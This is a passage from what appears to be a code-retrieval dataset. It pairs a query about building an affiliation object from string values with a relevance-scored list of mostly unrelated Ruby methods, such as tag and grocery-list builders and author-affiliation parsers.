'Website Search'\n search_content OneContent\n end", "title": "" }, { "docid": "123e91be3cdc6ac79926aa94c4e04162", "score": "0.58668876", "text": "def chain\n Rumai.views\n end", "title": "" }, { "docid": "27f395d5e763bb4d6475a90456744ac0", "score": "0.58620393", "text": "def url\n end", "title": "" }, { "docid": "b058d08cadec02033ddeb4c81a748d35", "score": "0.5860021", "text": "def hosting\n end", "title": "" }, { "docid": "b058d08cadec02033ddeb4c81a748d35", "score": "0.5860021", "text": "def hosting\n end", "title": "" }, { "docid": "a4d7eea915ca4a6db7afad4816bac410", "score": "0.5857049", "text": "def index\n smartrender\n end", "title": "" }, { "docid": "a96ff21997bd0d60eafab0ad64b778a1", "score": "0.5853375", "text": "def home\n\t\t\n\tend", "title": "" } ]
a2a9142f596cbdee9f2a123c4ba1263c
create a new affiliation object from a list of string values
[ { "docid": "a1a136d88b96890b15b57385e8af45ac", "score": "0.6376343", "text": "def create_affi_obj(lines_list, auth_id)\n tkn_idx = 0\n auth_affi = Author_Affiliation.new()\n auth_affi.article_author_id = auth_id\n inst_found = \"\"\n #while tkn_idx < lines_list.count\n while tkn_idx < lines_list.count\n a_line = lines_list[tkn_idx].strip\n # lines_hash.keys.each do |line_key|\n # a_line = lines_hash[line_key].strip\n # first element is designated as the affilition\n if tkn_idx == 0\n auth_affi.name = a_line\n elsif $affi_countries.include?(a_line)\n auth_affi.country = a_line\n elsif $affi_institutions.include?(a_line)\n if auth_affi.name != nil\n # if the affiliation name is not an institution\n # add institution to name and make short name the institution\n # otherwise shot name is the same as name\n if !$affi_institutions.include?(auth_affi.name) or \\\n !$institution_synonyms.keys.include?(auth_affi.name.to_sym) then\n auth_affi.name = auth_affi.name + \", \" + a_line\n auth_affi.short_name = a_line\n else\n auth_affi.short_name = auth_affi.name\n end\n end\n elsif $institution_synonyms.keys.include?(a_line.to_sym) then\n if auth_affi.name != nil\n # if the affiliation name is not an institution\n # add institution to name and make short name the institution\n # otherwise shot name is the same as name\n if !$affi_institutions.include?(auth_affi.name) and \\\n !$institution_synonyms.keys.include?(auth_affi.name.to_sym) then\n auth_affi.name = auth_affi.name + \", \" + $institution_synonyms[a_line.to_sym]\n auth_affi.short_name = $institution_synonyms[a_line.to_sym]\n else\n auth_affi.short_name = $institution_synonyms[a_line.to_sym]\n end\n end\n elsif auth_affi.add_01 == nil\n auth_affi.add_01 = a_line\n elsif auth_affi.add_02 == nil\n auth_affi.add_02 = a_line\n elsif auth_affi.add_03 == nil\n auth_affi.add_03 = a_line\n elsif auth_affi.add_04 == nil\n auth_affi.add_04 = a_line\n elsif auth_affi.add_05 == nil\n auth_affi.add_05 = a_line\n elsif auth_affi.add_05 != nil # case more than 5 tokes in address\n auth_affi.add_05 += \", \" + a_line\n end\n tkn_idx += 1\n end\n # if country is missing get check all addres lines in object\n if auth_affi.country == nil\n got_it = false\n auth_affi.instance_variables.each do |instance_variable|\n # look for country name in address strings\n if instance_variable.to_s.include?(\"add_0\") then\n #print instance_variable\n value = auth_affi.instance_variable_get(instance_variable)\n ctry = get_country(value.to_s)\n if ctry != nil then\n auth_affi.country = ctry\n value = drop_country(value)\n auth_affi.instance_variable_set(instance_variable, value)\n break\n end\n end\n end\n # look for country in affiliation name\n if auth_affi.country.to_s == \"\" then\n ctry = get_country(auth_affi.name)\n auth_affi.country = ctry\n end\n # look for country in institution table\n # print auth_affi.country\n #\n if auth_affi.country.to_s == \"\" then\n #printf \"\\n Before if %s\", auth_affi.name\n inst_found = auth_affi.name\n if $affi_institutions.include?(auth_affi.name) or \\\n $institution_synonyms.keys.include?(auth_affi.name.to_sym) then\n inst_found = auth_affi.name\n #printf \"\\n Before sendig %s\", inst_found\n ctry = get_value(\"Affiliations\", \"country\", \"institution\", inst_found.strip)\n auth_affi.country = ctry\n elsif $affi_institutions.include?(auth_affi.short_name) or \\\n $institution_synonyms.keys.include?(auth_affi.short_name.to_s.to_sym) then\n inst_found = auth_affi.short_name\n #printf \"\\n Before sendig %s\", inst_found\n ctry = get_value(\"Affiliations\", \"country\", \"institution\", inst_found.strip)\n auth_affi.country = ctry\n end\n end\n end\n ## just for debugging\n #auth_affi.print()\n return auth_affi\nend", "title": "" } ]
[ { "docid": "fcb319fbdae516e2cb652a2f88d82045", "score": "0.68373233", "text": "def affiliations=(value)\n @affiliations = []\n value&.each do |affil|\n @affiliations << if affil.is_a?(Affiliation)\n affil\n else\n Affiliation.new(value: affil)\n end\n end\n end", "title": "" }, { "docid": "dd6926390d6924ebe8ac9b0dc9f40195", "score": "0.61797506", "text": "def authors_list=(list)\n if list\n list.split(/, and | and |,/).each do |name| \n author = Author.find_or_create_by_name_and_account_id(name.strip, self.account.id)\n self.authors << author unless self.authors.member?(author) || author.nil?\n end\n end\n end", "title": "" }, { "docid": "dd6926390d6924ebe8ac9b0dc9f40195", "score": "0.61797506", "text": "def authors_list=(list)\n if list\n list.split(/, and | and |,/).each do |name| \n author = Author.find_or_create_by_name_and_account_id(name.strip, self.account.id)\n self.authors << author unless self.authors.member?(author) || author.nil?\n end\n end\n end", "title": "" }, { "docid": "089f9c93ebbdaf38e1dfb1ee473bd64e", "score": "0.60197884", "text": "def initialize(list_as_string)\n @list = list_as_string.split(/,/)\n end", "title": "" }, { "docid": "af2331d722f93f5840f1cf32c2a7a032", "score": "0.57282704", "text": "def initialize(name, orcid, index, affiliations_yaml)\n name = strip_footnotes(name)\n @parsed_name = Nameable::Latin.new.parse(name)\n @name = @parsed_name.to_nameable\n @orcid = orcid\n @affiliation = build_affiliation_string(index, affiliations_yaml)\n end", "title": "" }, { "docid": "088cc86f5298b5519a961deb3f37070f", "score": "0.5689552", "text": "def create(items,list)\n\titems.split(\" \").each{|i|list[i]=1}\n\tlist\nend", "title": "" }, { "docid": "5f06f1b9d97e9bc033cb8de20cc146f0", "score": "0.5656449", "text": "def initialize(email_list)\n self.email_list = email_list\n end", "title": "" }, { "docid": "12b51ce70775cee4964830caebd21de5", "score": "0.5610167", "text": "def initialize_affiliation(hash:)\n return nil unless hash.present? && hash[:name].present?\n\n # If the ROR id is present then set the provenance to ROR otherwise it was\n # a manual user entry so just use the DMPHub\n provenance = hash[:id].present? ? Provenance.find_by(name: 'ror') : Provenance.find_by(name: 'dmphub')\n\n affiliation = Affiliation.new(name: hash[:name], provenance: provenance)\n return affiliation unless hash[:id].present?\n\n affiliation.identifiers << Identifier.new(\n category: 'ror',\n value: hash[:id],\n descriptor: 'is_identified_by',\n provenance: provenance\n )\n affiliation\n end", "title": "" }, { "docid": "4a716d48c944c21fe3a9f28dd2b5a988", "score": "0.5585688", "text": "def create_association_lists(list, model)\n list_arry = list.split(';')\n tmp_arry = []\n list_arry.each do |item_name|\n tmp_item = model.find_or_create_by(name: item_name)\n tmp_arry << tmp_item.id\n end\n tmp_arry.uniq\n end", "title": "" }, { "docid": "2bf938cfbb8ed7486c7bfc407b2842f8", "score": "0.5579708", "text": "def tag_list=(names)\n self.tags = names.split(\",\").map do |n|\n Tag.where(name: n.strip).first_or_create!\n end\n end", "title": "" }, { "docid": "c5fef7156b3c8aad61c535843f794888", "score": "0.5562956", "text": "def new_category_list=(names)\n self.categories += names.split(',').map do |n|\n Category.where(name: n.downcase.strip.titleize).first_or_create!\n end\n end", "title": "" }, { "docid": "d6c69166a8723ef5d90e763fd9206af4", "score": "0.5545211", "text": "def build_affiliation_string(index, affiliations_yaml)\n # Some people have two affiliations, if this is the case then we need\n # to parse each one and build the affiliation string.\n author_affiliations = []\n\n return nil if index.nil? # Some authors don't have an affiliation\n\n affiliations = if index.to_s.include?(',')\n index.split(',').map { |a| a.strip }\n else\n [ index.to_s ]\n end\n\n # We need to turn all of the affiliation YAML keys into strings\n # So that mixed integer and string affiliations work\n affiliations_yaml = affiliations_yaml.inject({}) {|hash, (key, val)| hash.merge(key.to_s => val) }\n\n # Raise if we can't parse the string, might be because of this bug :-(\n # https://bugs.ruby-lang.org/issues/12451\n affiliations.each do |a|\n raise \"Problem with affiliations for #{self.name}, perhaps the \\\naffiliations index need quoting?\" unless affiliations_yaml.has_key?(a)\n\n author_affiliations << affiliations_yaml[a]\n end\n\n return author_affiliations.join(', ')\n end", "title": "" }, { "docid": "8b796726028b417a43b484a4a63889cb", "score": "0.55426747", "text": "def tag_list=(names)\n self.tags = names.split(\", \").map do |n|\n Tag.where(name: n.strip.downcase).first_or_create!\n end\n end", "title": "" }, { "docid": "b2b4ff2bfdb29129884eb77bad00c917", "score": "0.5502752", "text": "def tag_list=(names)\n \tself.tags = names.split(\",\").map do |n|\n \t\tTag.where(name: n.strip).first_or_create!\n \tend\n \tend", "title": "" }, { "docid": "2855d2c7cb5d3a3a4816fbe156e5ab6b", "score": "0.5473878", "text": "def initialize(id, name, list = {})\n @id, @name = id, name\n @list = Recommendation::ItemList.new(list)\n end", "title": "" }, { "docid": "1a418d7c9df8724abf13ac1b833c3c89", "score": "0.54250455", "text": "def handle_affiliation(attrs:)\n return attrs unless attrs.present? && attrs[:affiliation].present?\n return attrs unless attrs[:affiliation][:id].present?\n\n affiliation = AffiliationSelection::HashToAffiliationService.to_affiliation(\n hash: attrs[:affiliation], allow_create: true\n )\n # Save the affiliation if it is new\n affiliation.save if affiliation.present? && affiliation.new_record?\n\n # reattach the affiliation_id but with the Affiliation id instead of the hash\n attrs.delete(:affiliation)\n attrs[:affiliation_id] = affiliation.id\n attrs\n end", "title": "" }, { "docid": "542ecb7eac70c244eac9c357dede0b34", "score": "0.5384013", "text": "def make_list(list)\r\n String.new(list)\r\nend", "title": "" }, { "docid": "a05fa39962aa9d24c95032da3e408570", "score": "0.53774714", "text": "def members_list=(names)\n self.members = names.split(',').map do |n|\n Member.find_or_create_by(name: format_name(n.strip))\n end\n end", "title": "" }, { "docid": "6e7b9ca4d7009d7eeed315816047dd29", "score": "0.5345005", "text": "def initialize(*list)\n @list = list\n end", "title": "" }, { "docid": "b5e5a020ea15668c0794e8ff83d8d429", "score": "0.5310919", "text": "def initialize(array)\n array.each do |element|\n user = element.is_a?(String) ? User.new(element) : element\n self << user\n end\n end", "title": "" }, { "docid": "bb2aeb5ac77e1d299c9e1ac5ac44d3c5", "score": "0.5306024", "text": "def from_annotation_list!(str)\n str.gsub(/\\[|\\]/, '').split('; ').map { |a| a.split(' ') }.each do |annotation|\n namespace, predicate = annotation.first.split(':', 2)\n annotations << Note::Annotated::Base.new(value: annotation.second,\n namespace: namespace, predicate: predicate)\n end\n self\n end", "title": "" }, { "docid": "7cb48baa228af6182bd28760ad870fe7", "score": "0.5297343", "text": "def affiliation_id=(affil_id)\n self.affiliation_ids = affil_id\n end", "title": "" }, { "docid": "ef22d20b7a7161f250e84904d4874c72", "score": "0.5271097", "text": "def initialize(list)\n @list = list\n end", "title": "" }, { "docid": "f806269bcb6f56f86655520cfa4ebb89", "score": "0.5243508", "text": "def gen_authors(aline)\n lines = aline.split(\", \").map { |a| a.sub(/\\d$/, \"\") } # delete ref number.\n if lines.is_a?(String)\n aline\n else # its an array, augment w/ lname and choose\n alines = lines.map { |a| a.split.last } + lines\n choose alines\n end\n end", "title": "" }, { "docid": "5f1485d26294a4e6c2b3a19acb8486b2", "score": "0.52416444", "text": "def affiliation=(affil)\n affiliations.clear\n affiliations << affil\n end", "title": "" }, { "docid": "06555a0947d1ea6bdad521f29137981d", "score": "0.52126855", "text": "def create_list\n\tinput = \"Cake\", \"Apples\", \"Juice\" , \"Salad\" , \"Steak\"\nend", "title": "" }, { "docid": "191fadf3149e531e28894aa728574dfa", "score": "0.52085954", "text": "def parseTitles!(titles:String, collectible_attribute_list:CollectibleAttributeList, verbose:boolean = false)\n title_values = titles.split(\";\")\n title_values.each do |value|\n title = StringCollectibleAttribute.create(value:value)\n if verbose\n puts \"-\\t\" + title.value\n end\n collectible_attribute_list.collectible_attributes.create(collectible_attribute_value: StringCollectibleAttribute.find_by(value:value))\n end\n \nend", "title": "" }, { "docid": "2a2c3ad66277554012e116ff1979865e", "score": "0.51901895", "text": "def patent_from_text(list)\n objs = Array(list)\n objs.map(&:to_patent)\n end", "title": "" }, { "docid": "73b1aa1995ae8e926872f0a1b53103d2", "score": "0.51897925", "text": "def initialize(ary)\n @ary = if ary.is_a?(String)\n ary.split(',')\n else\n ary\n end\n end", "title": "" }, { "docid": "dfb5bafda8af53aac262adabd3be491c", "score": "0.5189038", "text": "def construct_approved_names(name_list, approved_names, deprecate = false)\n return unless approved_names\n\n if approved_names.is_a?(String)\n approved_names = approved_names.split(/\\r?\\n/)\n end\n name_list.split(\"\\n\").each do |ns|\n next if ns.blank?\n\n name_parse = NameParse.new(ns)\n construct_approved_name(name_parse, approved_names, deprecate)\n end\n end", "title": "" }, { "docid": "94f9e4dd13938b5c4defacd60e820c57", "score": "0.5182027", "text": "def affiliation=(affil)\n affiliations.clear\n affiliations << affil\n end", "title": "" }, { "docid": "be23729b9bcd8800c5c95f114ba39679", "score": "0.51748973", "text": "def initialize(email_list)\n @emails = email_list\n end", "title": "" }, { "docid": "2e12a6d9685ce6ceeb4373e7bc96ea9b", "score": "0.5162845", "text": "def initialize(list, value)\n\t\t\t@list = list\n\t\t\t@value = value\n\t\tend", "title": "" }, { "docid": "fc6432b855ac04edc8b4fb32d2c682ed", "score": "0.51556975", "text": "def create_list(list)\r\n grocery_items = {}\r\n new_list = list.split(%r{,\\s*})\r\n\r\n new_list.each do |item|\r\n grocery_items[item] = 0\r\n end\r\n grocery_items\r\nend", "title": "" }, { "docid": "658eb13fd95b3050ac10fd2d138f43b6", "score": "0.5151711", "text": "def new_from_params(params)\n self.create( params.slice(*accessitude_attrs) )\n end", "title": "" }, { "docid": "2d59bf2b3aa55d026ec1df0fedbe7f6e", "score": "0.5146098", "text": "def initialize(csv_course_list)\n @csv_course_list = csv_course_list\n end", "title": "" }, { "docid": "741fcf7820d74f1c119ea6155784e8f6", "score": "0.5122612", "text": "def initialize valid_attribute_names, attribute_names\n @valid_attribute_names, @attribute_names = valid_attribute_names, [attribute_names].flatten.compact.map(&:to_s)\n end", "title": "" }, { "docid": "741fcf7820d74f1c119ea6155784e8f6", "score": "0.5122612", "text": "def initialize valid_attribute_names, attribute_names\n @valid_attribute_names, @attribute_names = valid_attribute_names, [attribute_names].flatten.compact.map(&:to_s)\n end", "title": "" }, { "docid": "1d27afe43eaf44211b5fe722ba8352a9", "score": "0.5117648", "text": "def initialize(list=[])\n @values = list.to_a.uniq\n end", "title": "" }, { "docid": "c8f22d2115f14879653da0b6144c9677", "score": "0.51008", "text": "def initialize(name, party_affiliation)\n @name = name\n @party_affiliation = party_affiliation\n end", "title": "" }, { "docid": "3472486414ce65ad2d882763aa4cdfb4", "score": "0.50838226", "text": "def sub_tag_list=(names)\n \tself.sub_tags = names.split(\",\").map do |n|\n \t\tTag.where(name: n.strip).first_or_create!\n \tend\n \tend", "title": "" }, { "docid": "441b5335b49206f158abdf1309d4f17b", "score": "0.50746655", "text": "def insert_author_affiliation(affi_object, cd_affi_ids)\n # insert the object\n # get the id of the inserted object\n # update all cr_affiliations with the author_affiliation_id\n sql_statement = \\\n \"SELECT id, name FROM cr_affiliations WHERE article_author_id = \" + affi_object.article_author_id.to_s + \";\"\n db = get_db()\n #stm = db.prepare sql_statement\n #rs = stm.execute\n\n db.execute(\"INSERT INTO Author_Affiliations VALUES (?,?,?,?,?,?,?,?,?,?,?,?)\", 1, affi_object.article_author_id, affi_object.name, affi_object.short_name,\n affi_object.add_01, affi_object.add_02, affi_object.add_03,affi_object.add_04, affi_object.add_05, affi_object.country,'2020-09-27','2020-09-27')\nend", "title": "" }, { "docid": "b9bebee9f0a19cd9156220233fe8263d", "score": "0.5065899", "text": "def create(email:, list_id:, values: [])\n params = { email: email, values: values }\n response = client.post(path(list_id), params).parsed_body\n new(response)\n end", "title": "" }, { "docid": "d3105a505ef794b4347d15883c277bb9", "score": "0.5063277", "text": "def create_list(string_of_items)\n\tshopping_list = Hash.new\n\tarray_of_items = string_of_items.split(\" \")\n\tdefault_value = 1\n\tarray_of_items.each do |item|\n\t\tshopping_list[item] = default_value\n\tend\n\tshopping_list\nend", "title": "" }, { "docid": "a965a6945234af082c812fab984eda9a", "score": "0.5044476", "text": "def initialize(id, name, list = {})\n @id, @name = id, name\n @list = Recommendation::ProductList.new(list)\n end", "title": "" }, { "docid": "4c554f49c402d42ebc0b68ab0be00fbd", "score": "0.5032519", "text": "def initialize(list_of_attributes)\r\n @list_of_attributes = list_of_attributes\r\n @list_of_additional_attributes = get_additional_attributes()\r\n @errors = []\r\n end", "title": "" }, { "docid": "86f18f342c7a92f1afae2d5128737e0a", "score": "0.50118905", "text": "def create_list(string_of_items)\r\n\tgrocery_items = string_of_items.split(\", \")\r\n\tgrocery_list = {}\r\n\tdefault_quantity = 1\r\n\tgrocery_items.each do |item|\r\n\t\tgrocery_list[item.to_sym] = default_quantity\r\n\tend\r\n\tgrocery_list\r\nend", "title": "" }, { "docid": "afae264fc16ba431fcb9a9c7051c67bf", "score": "0.50067955", "text": "def affiliate_affiliations\n @affiliate_affiliations ||= Affiliation.find_by_uid(uid)\n end", "title": "" }, { "docid": "3c5a4d5e8ce8ea093d93c8a50e3d8985", "score": "0.5004441", "text": "def arel_attributes_with_values_for_create(attribute_names) #:nodoc:\n super clean_attribute_names_for_arel(attribute_names)\n end", "title": "" }, { "docid": "00c360cd4af59f02cdda8ecda2216667", "score": "0.5001941", "text": "def initialize(values)\n\n end", "title": "" }, { "docid": "a3bd6abe869b2123c549ec8f891db7ac", "score": "0.4979582", "text": "def initialize(values=nil)\n return if values.nil?\n\n @id = values[:id].to_s\n @name = values[:name].to_s\n end", "title": "" }, { "docid": "c4c6d5d7543cae12040c92c332f1a2b3", "score": "0.49688515", "text": "def initialize( first, last, titles = [] )\n if ( last )\n @givenname = first\n @surname = last\n @titles = titles\n else\n @givenname, @surname, @titles = self.parse_full_name( first )\n end\n # The following gives surprises when modifying the givenname or surname later on!\n # => Defining to_s instead!\n # replace( (@titles + [@givenname, @surname]).join(' ') )\n # replace( (@titles.empty? ? '' : (@titles.join(' ') + ' ')) + @givenname + ' ' + @surname )\n end", "title": "" }, { "docid": "fff7e8c4d0268bf8c5bd2e8df01779a6", "score": "0.49651515", "text": "def create_affiliation (publication_version_id:, person:, position:, reviewed_at: nil, reviewed_publication_version_id: nil)\n p2p = {person_id: person[:id], position: position, departments2people2publications: person[:departments]}\n p2p_obj = People2publication.create({publication_version_id: publication_version_id, person_id: p2p[:person_id], position: position, reviewed_at: reviewed_at, reviewed_publication_version_id: reviewed_publication_version_id})\n department_list = p2p[:departments2people2publications]\n if department_list.present?\n department_list.each.with_index do |d2p2p, j|\n Departments2people2publication.create({people2publication_id: p2p_obj.id, department_id: d2p2p[:id], position: j + 1})\n end\n end\n end", "title": "" }, { "docid": "2d948a5d281f47a52a6fc9c941705816", "score": "0.49535567", "text": "def affiliations\n aff = pubsub.find_first('ns:affiliations', :ns => self.class.registered_ns)\n unless aff\n self.pubsub << (aff = XMPPNode.new('affiliations', self.document))\n end\n aff\n end", "title": "" }, { "docid": "d6f5ec295d5f502edeb3c47942921a25", "score": "0.49500564", "text": "def subscribe_to_list( list )\n email_subscriptions.create :list => list\n end", "title": "" }, { "docid": "d6f5ec295d5f502edeb3c47942921a25", "score": "0.49500564", "text": "def subscribe_to_list( list )\n email_subscriptions.create :list => list\n end", "title": "" }, { "docid": "38bbf2399ad189cce7de7bbdda40fda4", "score": "0.4949891", "text": "def create_list(list)\n\tquantity = 1\n\titems = list.split(' ')\n\tgrocery_list = { }\n\n\titems.each do |item|\n\t\tgrocery_list[item] = quantity\n\tend\n\tgrocery_list\nend", "title": "" }, { "docid": "23ecce2915b2089f8e33ac0a2b0e2903", "score": "0.49400964", "text": "def initialize(values = {})\n @id = values[\"id\"].to_i\n @saint_name = values[\"saint_name\"]\n @canonization_year = values[\"canonization_year\"].to_i\n @description = values[\"description\"]\n @category_id = values[\"category_id\"]\n @country_id = values[\"country_id\"]\n end", "title": "" }, { "docid": "524fcdfd7f8c00eaf91c692d9ff98740", "score": "0.4937105", "text": "def split_by_keywords(affi_string, auth_id)\n # build affiliation object directly\n # try with country and institution\n # printf \"\\n************************** SPLITTING BY KEYWORD *****************\\n\"\n # printf \"Affiliation: %s\\n\", affi_string\n tokens=[]\n found_inst = found_country = \"\"\n found_inst = get_institution(affi_string)\n if found_inst == nil then\n found_inst = get_institution_synonym(affi_string)\n #printf \"Institution: %s\\n\", found_inst\n end\n found_country = get_country(affi_string)\n if found_inst.to_s != \"\"\n ins_idx = affi_string.index(found_inst)\n affi_len = affi_string.length\n inst_len = found_inst.length\n if ins_idx == 0\n tokens.append found_inst\n tokens.append drop_country(affi_string[inst_len, affi_len-inst_len].strip)\n tokens.append found_country\n affi_rest = affi_string[inst_len-1, affi_len-inst_len].strip\n else\n tokens.append affi_string[0, ins_idx].strip\n tokens.append found_inst\n tokens.append drop_country(affi_string[affi_string[ins_idx+inst_len, affi_len-inst_len].strip].strip)\n tokens.append found_country\n end\n # printf\"\\n****************************************************************\\n\"\n # print tokens\n # printf\"\\n****************************************************************\\n\"\n affi_obj = create_affi_obj(tokens, auth_id)\n return affi_obj\n end\nend", "title": "" }, { "docid": "2689542a5db86d76fca2ffee3577b8df", "score": "0.49263433", "text": "def to_accession\n isbn_or_issn = load_isbn_issn(doc)\n uniform_title = load_uniform_title(doc)\n\n Accession.new(\n :title => load_title(doc),\n :dates => load_dates(doc),\n :general_note => load_general_note(doc),\n :extents => load_extents(doc),\n :user_defined => {\n 'jsonmodel_type' => 'user_defined',\n\n # FIXME: which user defined field do Yale use for 001 MARC?\n 'string_1' => doc.css('controlfield[tag=\"001\"]').text,\n 'string_2' => isbn_or_issn,\n 'string_3' => uniform_title,\n 'string_4' => load_place_of_publication(doc),\n\n 'text_1' => load_monographic_series(doc),\n 'text_2' => load_materials_type(doc),\n }\n )._always_valid!\n end", "title": "" }, { "docid": "c15790599ca82cb41eb7f11832b1ea6d", "score": "0.4926303", "text": "def topic_list=(names)\n self.topics = names.split(',').map do |n|\n Topic.find_or_create_by(name: n.strip)\n end\n end", "title": "" }, { "docid": "0214ebb460cd9138e273595479741acc", "score": "0.49241742", "text": "def strings2people(*rest) \n return *rest.map do |person_info|\n split_info = person_info.split(/, /)\n Person.new(split_info[0], split_info[1], split_info[2])\n end\n end", "title": "" }, { "docid": "03822b979a4d738f1f5f21b1312afd34", "score": "0.4921117", "text": "def initialize_from(values, opts); end", "title": "" }, { "docid": "8219d31af2f5b9c050f2d3ef98c9e398", "score": "0.49206743", "text": "def initialize(ids, *values, model:, group_columns:, additional_columns: [])\n @model = model\n @ids = ids.split(',').map(&:to_i)\n @group_values = group_columns.zip(values.shift(group_columns.size)).to_h\n @additional_values = additional_columns.zip(values).to_h\n end", "title": "" }, { "docid": "61ca42781854fbdaa4abe199d51e247e", "score": "0.49185747", "text": "def creator_affiliations\n creators.map(&:affiliation_names)\n end", "title": "" }, { "docid": "48e6d6b0baecd0cea7a5066f397e3618", "score": "0.49133036", "text": "def initialize(attributes)\n @description = attributes[:description]\n @list_id = attributes[:list_id]\n end", "title": "" }, { "docid": "d01cb1e1347b2afd55fda07b50849612", "score": "0.49131995", "text": "def authors=(array)\n if array.is_a? Array\n @authors = array.map do |auth|\n if auth.is_a? String\n Citation::Author.from_s(auth)\n elsif auth.is_a? Citation::Author\n auth\n else\n abort \"Don't recognize: #{auth.class} for #{auth}\"\n end\n end\n else\n # this is a string\n @authors = array\n end\n end", "title": "" }, { "docid": "fb7d6c2c071433506d181a6f386822f7", "score": "0.49128774", "text": "def add_tags(names)\n\t\t self.tags = names.split(\",\").map do |name|\n \t\tself.user.tags.where(name: name.strip, user_id: user_id).first_or_create!\n \tend\n\tend", "title": "" }, { "docid": "7bcf16eebe670eea589d3f94c512b896", "score": "0.49072462", "text": "def parse_list(string)\n domains = string.scan(PRIMARY_REGEX).inject([]) { |collector, matches|\n collector << Domain.new(matches[2], matches[1])\n }\n domains = string.scan(SECONDARY_REGEX).inject(domains) { |collector, matches|\n collector << Domain.new(matches[0].strip, matches[2], :secondary, matches[1].strip )\n }\n domains = string.scan(DYNAMIC_REGEX).inject(domains) { |collector, matches| \n collector << Domain.new(matches[2], matches[1], :dynamic)\n }\n domains = string.scan(WEBHOP_REGEX).inject(domains) { |collector, matches|\n collector << Domain.new(matches[0], matches.last, :webhop, matches[1])\n }\n @domains = domains\n end", "title": "" }, { "docid": "5c05c59b693ab94aeb4352ed78fc7365", "score": "0.49023852", "text": "def build\n first_cover_items = @request.first(NUMBER_OF_VALUES_TO_ACCOUNT_FOR)\n\n # insurers with matching items\n matching_insurers = convert_to_table(@insurers, first_cover_items)\n matching_insurers = reject_zero_ones(matching_insurers)\n matching_insurers = sort_by_matches_then_insurance_value(matching_insurers)\n\n parse_and_build_quotes(matching_insurers)\n end", "title": "" }, { "docid": "84e650f101c632463a9256ad95c99222", "score": "0.49005824", "text": "def initialize(*value)\n if (value.size == 1)\n if (value[0].respond_to?(:to_str))\n build_from_string(value[0])\n elsif (value[0].respond_to?(:to_int))\n build_from_value(value[0])\n end\n elsif (value.size == 2)\n if (value[0].respond_to?(:to_str) &&\n value[1].respond_to?(:to_str))\n build_from_face_suit(value[0], value[1])\n elsif (value[0].respond_to?(:to_int) &&\n value[1].respond_to?(:to_int))\n build_from_face_suit_values(value[0], value[1])\n end\n end\n end", "title": "" }, { "docid": "7da37ffa84051e0105d26167cf3d5507", "score": "0.489514", "text": "def initialize(item_ids)\n @item_ids = item_ids\n end", "title": "" }, { "docid": "1619323a70415b0e31f89cb9eecba86a", "score": "0.48910114", "text": "def build_from_database(values, _additional_types)\n LightweightAttributes::AttributeSet.new values, @types, _additional_types\n end", "title": "" }, { "docid": "4ac9b4646fc2839dac44b3c14e85a2b2", "score": "0.4890083", "text": "def create_list(string_of_items)\r\n\tshopping_list = Hash.new\r\n\tarray_of_items = string_of_items.split(\" \")\r\n\tdefault_value = 1\r\n\tarray_of_items.each do |item|\r\n\t\tshopping_list[item] = default_value\r\n\tend\r\n\tshopping_list\r\nend", "title": "" }, { "docid": "7a803d26f9f844a7d04bd967f6fba090", "score": "0.48852605", "text": "def users_from_attr(value)\n (value.is_a? String) ? value.split(',') : value\n end", "title": "" }, { "docid": "c15b5cd37e813e01d025e4a155a887c7", "score": "0.48847365", "text": "def initialize(parent, *list)\n type = list.pop if list.last.is_a?(Hash)\n\n if type.nil?\n @client = PtoPatentClient\n else\n @client = type[:client]\n end\n\n @parent = PatentNumber(parent)\n @names = PatentNumber(Array(list).flatten)\n #iterate(names)\n end", "title": "" }, { "docid": "79df00a4123129f1c4a50dddf3c07328", "score": "0.4875846", "text": "def create_list(items)\r\n\tnew_list = { }\r\n\tqnty = 1\r\n\titems.split(\" \").each do |item|\r\n\t\tnew_list[item] = qnty\r\n\tend\r\n\tnew_list\r\nend", "title": "" }, { "docid": "175a9290f0da4103ca09793bc593382f", "score": "0.48718914", "text": "def initialize(list=[])\n @list = list.uniq\n end", "title": "" }, { "docid": "f4a8c4ab83bde20609aff1603a41ae93", "score": "0.48710635", "text": "def initialize(attributes = {})\n #TODO to handle dates should translate \"claimDate(1i)\"=>\"2012\", \"claimDate(2i)\"=>\"11\", \"claimDate(3i)\"=>\"22\" to a date field\n\n attributes.each do |name, value|\n send(\"#{name}=\", value)\n end\n end", "title": "" }, { "docid": "bf98ca00115b99d9371daffebc86b4f3", "score": "0.4868553", "text": "def initialize_list(response_list)\n response_list.map do |list_object|\n self.new(list_object)\n end\n end", "title": "" }, { "docid": "bccc180bf68d476ee2a825527787c7ed", "score": "0.48676988", "text": "def create(list_str)\r\n\tgrocery_list = {}\r\n\tlist_array = list_str.split(\" \")\r\n\r\n\tlist_array.map! do |item|\r\n\t\tgrocery_list[item] = 1 \r\n\tend \r\n\tgrocery_list\r\nend", "title": "" }, { "docid": "ca467702dc523ab9eeeb86b55d9aba30", "score": "0.48599178", "text": "def add_ads(aff, values)\n add_roles(values,\n RoleNameTable::AD,\n TargetTable::AFFILIATE,\n aff.aff_id,\n 'ad_list')\n end", "title": "" }, { "docid": "ee8221fa8b2cbf6956cc4a31805195ca", "score": "0.48598376", "text": "def add(*values)\r\n fixup_values! values\r\n\r\n if values.is_a?(Array) && values.each do |name|\r\n # puts 'adding ' + name\r\n\r\n if ! name.blank? && ! include?(name)\r\n item = GenericListItem.new(\r\n :klazz => @__record, :item_type => @__internal_typename, :item_value => name\r\n )\r\n @__record.generic_list_items.push(item)\r\n push(item)\r\n end\r\n end\r\n else\r\n if ! values.blank? && ! include?(values)\r\n item = GenericListItem.new(\r\n :klazz => @__record, :item_type => @__internal_typename, :item_value => values\r\n )\r\n @__record.generic_list_items.push(item)\r\n push(item)\r\n end\r\n end\r\n\r\n self\r\n end", "title": "" }, { "docid": "4487d328cb06bae1a05443707a0c079f", "score": "0.48538575", "text": "def initialize(list, *args, with: serializer)\n @item_serializer = with\n @list = list.map { |obj| @item_serializer.new(obj, *args) }\n end", "title": "" }, { "docid": "14d32fafa0c75cba6352b419f64cac96", "score": "0.4851556", "text": "def initialize(values = [])\n @values = values.is_a?(Array) ? values : [values]\n end", "title": "" }, { "docid": "9f38cf7c858cfc19fee3c2f48932fb0b", "score": "0.48500165", "text": "def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").collect{|s| s.strip.downcase}.uniq\n new_or_found_tags = tag_names.collect { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\nend", "title": "" }, { "docid": "a8d1182d533e2682196dcf31484587e8", "score": "0.4848879", "text": "def initialize(name, list)\n @name = name\n super(list)\n end", "title": "" }, { "docid": "121ab3febc0355f1ba50dd5121bea561", "score": "0.4848193", "text": "def process(row)\n if row['Affiliations'].present?\n name = 